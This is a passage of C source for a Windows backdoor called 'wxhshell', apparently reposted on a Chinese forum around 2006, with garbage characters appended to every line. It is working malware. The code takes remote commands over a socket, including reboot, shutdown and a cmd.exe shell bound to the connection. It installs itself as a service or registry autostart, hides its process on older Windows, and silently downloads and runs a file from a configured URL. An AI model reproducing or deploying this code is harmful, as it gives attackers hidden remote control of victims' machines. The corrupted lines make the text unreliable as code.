  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GF0Utp:Zf;  
  } HBw0 N?  
  else { s3~6[T?8  
V_9\Ax'X  
    switch(cmd[0]) { @VsK7Eo  
  RC!T1o~L  
  // 帮助 6X$\:>  
  case '?': { XLm@, A[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); " j:15m5  
    break; 5jTA6s9zA  
  } [U7r>&  
  // 安装 DyQvk  
  case 'i': { 1z3I^gI*i  
    if(Install()) l_(4CimOZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ],wzZhA  
    else O^R ^Aw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8)J,jh9q  
    break; "||G`%aO+t  
    } =I+5sCF{g  
  // 卸载 RP wP4Z  
  case 'r': { X<H+Z2d  
    if(Uninstall()) m h|HEkM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fJY b)sN  
    else B_%O6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w_q =mKu  
    break; {7=k/Y*U  
    } `UkPXCC\1  
  // 显示 wxhshell 所在路径 EtcXzq>w  
  case 'p': { QSOJHRl=C  
    char svExeFile[MAX_PATH]; BFn}~\wzK  
    strcpy(svExeFile,"\n\r"); ?=?9a  
      strcat(svExeFile,ExeFile); yF^)H{yx  
        send(wsh,svExeFile,strlen(svExeFile),0); Q\$cBSJC1  
    break; "C+Fl /v  
    } ,E4qxZC(X  
  // 重启 |>nVp:t^  
  case 'b': { Zr;(a;QKs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yn{U/+  
    if(Boot(REBOOT)) ' @j8tK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zx5t gZd,N  
    else { m RtE~~p  
    closesocket(wsh); 8SMa5a{  
    ExitThread(0); oc&yz>%q  
    } +@#-S  
    break; AFNE1q;{\  
    } om,=.,|Ld  
  // 关机 JZcW?Or  
  case 'd': { r$Y% 15JV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Umk!m] q  
    if(Boot(SHUTDOWN)) B 6,X)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q__1QUu  
    else { i)d'l<RA  
    closesocket(wsh); hC2Ra "te)  
    ExitThread(0); /?:]f  
    } p5=VGKp  
    break; eadY(-4|I-  
    } 5W?r04  
  // 获取shell +' ?axv6e  
  case 's': { _ "[O=h:  
    CmdShell(wsh); fkr; a`<W  
    closesocket(wsh); <1E* wPm8  
    ExitThread(0); Gt?ckMB  
    break; mg4: N  
  } zMN4cBL9m  
  // 退出 j [y+'O  
  case 'x': { (8.|q6Nww  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'I)E.DoF  
    CloseIt(wsh); t8b,@J`R  
    break; cBnB(t%  
    } L+" 5g@  
  // 离开 '=m ?l  
  case 'q': { ~r>N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1)=sbFtS  
    closesocket(wsh); orAEVEm  
    WSACleanup(); )`]} D[j  
    exit(1); T WgI-xB  
    break; 9Vv&\m!0  
        } q oVp@=\:"  
  } |70L h+  
  } v\ Xk6k  
Y<-dd"\  
  // 提示信息 0@8EIQxK"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ||k^pzj%  
} eVbaxL!Q^  
  } rgg3{bU/  
'm+)n08[  
  return; *1;}c z  
} fdTyY ;  
t5pf4M7  
// shell模块句柄 ~4+=C\r  
int CmdShell(SOCKET sock) kVe_2oQ_>  
{ uia-w^F e  
STARTUPINFO si; &/A?*2  
ZeroMemory(&si,sizeof(si)); n,NKJt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *.0#cP7 "  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c~+l|r=u?  
PROCESS_INFORMATION ProcessInfo; ^+ +ec>  
char cmdline[]="cmd"; bI~(<-S~K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y r^C+Oyg  
  return 0; NbnuQPb'  
} #~^Y2-C#  
h $}&N  
// 自身启动模式 j*jO809%^  
int StartFromService(void) I 0}+}{M:  
{ gyW##M@{  
typedef struct n/5)}( }K  
{ HLcK d`$/  
  DWORD ExitStatus; &Q"Ox{~W  
  DWORD PebBaseAddress; -?WhJ.U  
  DWORD AffinityMask; /Hl]$sJY  
  DWORD BasePriority; _S;L| 1>S  
  ULONG UniqueProcessId; )/F1,&/N`e  
  ULONG InheritedFromUniqueProcessId; @cZNoD  
}   PROCESS_BASIC_INFORMATION; k;pTOj  
SD^6ib/]b  
PROCNTQSIP NtQueryInformationProcess; xI7; (o"  
P=V=\T<4_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )0JXUC e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :kDHwYv$  
RHGs(d7-  
  HANDLE             hProcess; 438+ zU  
  PROCESS_BASIC_INFORMATION pbi; 9RoN,e8!  
-\!"Kz/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V{[vIt*  
  if(NULL == hInst ) return 0;  w|>O!]K]  
&dkjT8L$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |:i``gFj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @^$Xy<x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 2r%q^r`i  
QX'/PO  
  if (!NtQueryInformationProcess) return 0; NQ@."8  
T)ra>r<#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T.zU erbO  
  if(!hProcess) return 0;  %Ln7{w  
Y|=/*?o}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t F<|Eja *  
q|. X[~e|  
  CloseHandle(hProcess); FU|c[u|z  
%K_[Bx{B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8ctUK|  
if(hProcess==NULL) return 0; Yl+r>+^  
W|@/<K$V  
HMODULE hMod; {Ah\-{]  
char procName[255]; r~uWr'}a}  
unsigned long cbNeeded; GyOo$FW  
Cu0N/hBT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3!0Eh8ncI  
F~dq7 AS  
  CloseHandle(hProcess); ~)#JwY  
}F1|& A  
if(strstr(procName,"services")) return 1; // 以服务启动 J:,>/')n  
zUqt^_  
  return 0; // 注册表启动 t/K<fy 6  
} I"^ `!8<q  
6U k[_)1  
// 主模块 zR_#c3o  
int StartWxhshell(LPSTR lpCmdLine) !tT$}?Ano  
{ D^Bd>Ey4  
  SOCKET wsl; R)"Y 40nW  
BOOL val=TRUE; p-zWfXn!P  
  int port=0; )IGE2k|  
  struct sockaddr_in door; XU Hu=2F  
(DCC4%w"  
  if(wscfg.ws_autoins) Install(); ?3"bu$@8  
aU3 m{pE  
port=atoi(lpCmdLine); 9Kw4K#IqQ  
2bS)|#v<_t  
if(port<=0) port=wscfg.ws_port; fo$iV;x`  
,o}!pQ  
  WSADATA data; fMn7E8.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z F'{{7o  
+%G*)8N3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qTnfiYG}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MX 2UYZ&  
  door.sin_family = AF_INET; /I3#WUc;![  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MC!K7ji  
  door.sin_port = htons(port); 4Wq{ch  
iq '3.-xYr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  '._8  
closesocket(wsl); Yz0ruhEMk  
return 1; !Re/W ykY  
} zm}4=Kz}  
N0h"EV[  
  if(listen(wsl,2) == INVALID_SOCKET) { q#-szZQ  
closesocket(wsl); \. A~>=:  
return 1; R/M:~h~F!  
} ur-&- G^  
  Wxhshell(wsl);  yf!  
  WSACleanup(); @4 m_\]Wy  
nJF"[w,?  
return 0; wxARD3%  
gOZ$rv^g  
} 9)Y]05us  
}> k9]Y  
// 以NT服务方式启动 3_2(L"S2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z]> 0A  
{ ,ijgqEN  
DWORD   status = 0; W$@q ~/E  
  DWORD   specificError = 0xfffffff; *usfJ-  
P@:#NU[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \Nu(+G?e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  gM20n^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2As 4}  
  serviceStatus.dwWin32ExitCode     = 0; W|3XD-v@  
  serviceStatus.dwServiceSpecificExitCode = 0; qtTys gv  
  serviceStatus.dwCheckPoint       = 0; `,4"[6S  
  serviceStatus.dwWaitHint       = 0; . zv F!!z  
Pv{ {zyc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =*qu:f\y  
  if (hServiceStatusHandle==0) return;  B&#TbKp  
SC`.VCfc.  
status = GetLastError(); 6pI =?g  
  if (status!=NO_ERROR) X&h4A4#P  
{ 1`2n<qo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; OB8fFd  
    serviceStatus.dwCheckPoint       = 0; 'MPt K  
    serviceStatus.dwWaitHint       = 0; A?q[C4-BO,  
    serviceStatus.dwWin32ExitCode     = status; A0yRA+  
    serviceStatus.dwServiceSpecificExitCode = specificError; }%[TJ@R;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B5u0 6O  
    return; m1=3@>  
  } L 4'@f  
<0vQHND,3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `f}c 1  
  serviceStatus.dwCheckPoint       = 0; `!DrB08A  
  serviceStatus.dwWaitHint       = 0; 9j:t}HV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <wxI>T}b  
} @D-l_[  
&h-d\gMJ  
// 处理NT服务事件,比如:启动、停止 *'vX:n&t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7am._K  
{ Q3\j4;jI(  
switch(fdwControl) F'W{\4  
{ oL#^=vid"  
case SERVICE_CONTROL_STOP: ~;,]/'O  
  serviceStatus.dwWin32ExitCode = 0; 1b E$x^P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z:09 ]r1  
  serviceStatus.dwCheckPoint   = 0; XQ--8G  
  serviceStatus.dwWaitHint     = 0; PkQuN;a  
  { n[CESo%[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~qLbyzHaB  
  } I)V2cOrXM  
  return; tS8*l2Y`   
case SERVICE_CONTROL_PAUSE: LC K   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'O8"M  
  break; xZjD(e'  
case SERVICE_CONTROL_CONTINUE: |Rw0$he  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C 7YZ;{t  
  break; tQbDP!,A*=  
case SERVICE_CONTROL_INTERROGATE: ?C//UN;  
  break; ||cG/I&,  
}; P*T 'R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .t4IR =Z  
} z)=D&\HX  
/OK.n3Tt  
// 标准应用程序主函数 R:x4j#(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Eu ca~%=  
{ `&b 8wF  
V"*|`z)  
// 获取操作系统版本  W *0XV  
OsIsNt=GetOsVer(); ~K 8eRT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o8BbSZVu  
"2)<'4q5)  
  // 从命令行安装 RtGETiA\b  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'N)&;ADx-G  
cfMj^*I  
  // 下载执行文件 uI@:\Rss  
if(wscfg.ws_downexe) { FEw51a+V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %YM4x!6  
  WinExec(wscfg.ws_filenam,SW_HIDE); cPi 3UjY~  
} +|).dm  
*qj @y'1\  
if(!OsIsNt) { 9kuL1tcY  
// 如果时win9x,隐藏进程并且设置为注册表启动 5Az=)q4Q  
HideProc(); cBBc^SR  
StartWxhshell(lpCmdLine); 2)h i(  
} 49^;T;'v  
else NZ/gp"D?  
  if(StartFromService()) YTpSR~!Rj  
  // 以服务方式启动 G$}\~dD  
  StartServiceCtrlDispatcher(DispatchTable); DGj:qd(  
else n'v[[bmu  
  // 普通方式启动 [MdVgJ9'  
  StartWxhshell(lpCmdLine); HvN!_}[  
Y[i>  
return 0; di>"\On-  
}
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只看该作者 1 发表于: 2006-10-10
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